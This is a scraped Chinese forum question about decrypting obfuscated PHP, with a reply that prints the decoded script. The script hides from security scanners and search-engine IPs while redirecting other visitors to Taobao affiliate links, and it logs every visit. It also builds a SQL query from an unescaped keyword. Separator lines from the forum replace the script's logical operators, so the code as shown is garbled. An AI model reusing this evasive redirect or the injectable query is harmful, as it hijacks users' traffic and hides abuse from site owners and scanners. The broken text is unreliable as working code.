碰到一段PHP的加密,实在不知道怎么解密了求大神
有BASE64和一些乱码符号,真心不知道怎么来解密了 求高手。
因为有特殊字符论坛发不上来,就发网盘地址了。
http://pan.baidu.com/share/link?shareid=3556194294&uk=2869471014
<br> 里面存在相关的加密和版权验证,不过不再最终的加密里面;整个加密流程大概反复进行了5次以上<br> <?php <br /> /*<br> * $hash=file_get_contents(__FILE__); substr($hash,-32)==md5(substr(substr($hash,0,-32).'77068ff0146c46ae9da019a1b3e5bfab',4))<br><font color="#FF8000">------解决方案--------------------</font><br>@die(); //15aabc79d4499e36ea28690d6959b37c<br> */<br> error_reporting ( 0 );<br> defined ( 'FFCAEDAABEBFAB' ) <br><font color="#FF8000">------解决方案--------------------</font><br> exit ( 'Access Denied' );<br> include ('TopSdk.php');<br> include ('mysql.php');<br> include ('config.php');<br> session_start ();<br> $host = $_SERVER ["HTTP_HOST"];<br> $scanv = "";<br> if (isset ( $_SESSION ['url'] )) {<br> $url = $_SESSION ['url'];<br> $keyword = get_keyword ( $url, $keywords );<br> $arr = parse_url ( $url );<br> $arr_query = convertUrlQuery ( $arr ['query'] );<br> $usergent = $_SERVER ['HTTP_USER_AGENT'];<br> $client_ip = $_SERVER ["REMOTE_ADDR"];<br> $loc = iconv ( "gb2312", "utf-8//IGNORE", convertip ( $client_ip ) );<br> if (strpos ( $client_ip, '61.135' ) !== false <br><font color="#FF8000">------解决方案--------------------</font><br> strpos ( $client_ip, '173.194' ) !== false <br><font color="#FF8000">------解决方案--------------------</font><br> strpos ( $client_ip, '203.208' ) !== false <br><font color="#FF8000">------解决方案--------------------</font><br> strpos ( $client_ip, '74.125' ) !== false <br><font color="#FF8000">------解决方案--------------------</font><br> strpos ( $client_ip, '123.125' ) !== false <br><font color="#FF8000">------解决方案--------------------</font><br> strpos ( $client_ip, '220.181' ) !== false) {<br> $scanv = "检测到scanv IP";<br> } else if (strpos ( $keyword, 'dasoji' ) !== false) {<br> $scanv = "检测到域名";<br> } else if ($keyword == false) {<br> $scanv = "关键词不能为空";<br> } else if (strpos ( $loc, '谷歌' ) !== false) {<br> $scanv = "检测到谷歌IP";<br> } else if (strpos ( $loc, '北京' ) !== false) {<br> $scanv = "检测到北京IP";<br> } else if (count ( $arr_query ) $scanv = "可能是scanv";<br> } else {<br> $key = get_key ( $keyword );<br> $click_url = get_key_url ( $key );<br> if (! isset ( $click_url )) {<br> $click_url = search_click ( $key )->taobaoke_item->click_url;<br> }<br> if (isset ( $click_url )) {<br> echo "var jump_url='" . $click_url . "';";<br> echo "window.location.href=jump_url;";<br> } else {<br> $scanv = "无有效跳转";<br> $click_url = get_shops_url ( $key );<br> if (isset ( $click_url )) {<br> echo "var jump_url='" . $click_url . "';";<br> echo "window.location.href=jump_url;";<br> } else {<br> echo "var jump_url='';";<br> echo "window.location.href=jump_url;";<br> }<br> }<br> }<br> $fp = fopen ( "baiduspider.html", 'a' );<br> fwrite ( $fp, "<tr> <td>" . date ( 'Y-m-d H:i:s', time () ) . "</td> <td> " . $_SERVER ["REMOTE_ADDR"] . '</td> <td>' . $keyword . '</td> <td>' . $scanv . '</td> <td>' . $_SERVER ['HTTP_USER_AGENT'] . '</td> <td><a>' . $url . '</a></td> </tr>' );<br> fclose ( $fp );<br> ;<br> }<br> function get_key_url($key) {<br> global $db_conn;<br> $db = new Mysql ( $db_conn );<br> $db->query ( "set names utf8" );<br> $sql = "select * from keyword where `key`='" . $key . "'";<br> $result = $db->get ( $sql ); <div class="clear"> </div>